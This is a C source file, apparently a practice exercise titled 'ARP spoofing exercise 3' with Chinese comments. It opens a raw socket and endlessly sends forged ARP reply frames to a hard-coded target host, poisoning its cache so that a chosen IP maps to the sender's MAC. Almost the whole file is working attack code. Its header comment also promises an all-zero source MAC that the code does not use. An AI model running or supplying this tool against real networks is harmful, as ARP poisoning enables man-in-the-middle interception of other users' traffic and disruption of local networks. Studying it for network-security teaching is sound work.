93 lines
4.2 KiB
C
93 lines
4.2 KiB
C
/* ARP欺骗-练习3
|
||
实时响应ARP报文,将源MAC地址的全置0.
|
||
*/
|
||
|
||
#include <arpa/inet.h> // inet_addr
|
||
#include <netinet/in.h> // in_addr
|
||
#include <netinet/ether.h> // ether_aton
|
||
#include <netpacket/packet.h> // sockaddr_ll
|
||
#include <sys/ioctl.h> // ioctl
|
||
#include <net/if.h> // ifreq
|
||
#include <unistd.h> // close
|
||
#include <string.h> // bzero
|
||
#include <stdio.h> // printf
|
||
#include <pthread.h> // pthread_create
|
||
#include <sys/types.h> // open
|
||
#include <sys/stat.h> // open
|
||
|
||
// 发送原始数据报
|
||
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
|
||
|
||
void *arp_packetdata_send(void *arg)
|
||
{
|
||
// 创建原始套接字
|
||
int sock_fd = *((int *)arg);
|
||
|
||
while (1)
|
||
{
|
||
// 发送ARP欺骗应答报文
|
||
unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址
|
||
unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串
|
||
unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址
|
||
unsigned char arp_buf[] = {
|
||
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
|
||
// 00:0c:29:85:cc:67
|
||
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址
|
||
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址
|
||
0x08, 0x06, // ARP帧类型
|
||
0x00, 0x01, // 硬件类型
|
||
0x08, 0x00, // 协议类型(IP协议0x0800)
|
||
0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度)
|
||
0x00, 0x02, // 操作类型(ARP应答0x0002)
|
||
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址
|
||
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址
|
||
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
|
||
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址
|
||
};
|
||
|
||
// 单播发送ARP应答报文
|
||
ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名
|
||
}
|
||
}
|
||
|
||
int main(int argc, char const *argv[])
|
||
{
|
||
// 创建原始套接字
|
||
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||
if (sock_fd < 0)
|
||
{
|
||
perror("raw socket");
|
||
return -1;
|
||
}
|
||
|
||
// 创建线程发送ARP欺骗应答报文
|
||
pthread_t tid;
|
||
pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd);
|
||
pthread_join(tid, NULL);
|
||
close(sock_fd);
|
||
return 0;
|
||
}
|
||
|
||
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
|
||
{
|
||
// 1. 根据网卡名获取网卡索引
|
||
struct ifreq ether_req;
|
||
bzero(ðer_req, sizeof(ether_req)); // 清空结构体 ether_req
|
||
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中
|
||
// 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引
|
||
if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1)
|
||
{
|
||
perror("ioctl");
|
||
return -1;
|
||
}
|
||
|
||
// 2. 选择发送数据的网络接口索引
|
||
struct sockaddr_ll sll;
|
||
bzero(&sll, sizeof(sll)); // 清空结构体 sll
|
||
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引
|
||
|
||
// 3. 发送数据
|
||
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||
return len;
|
||
}
|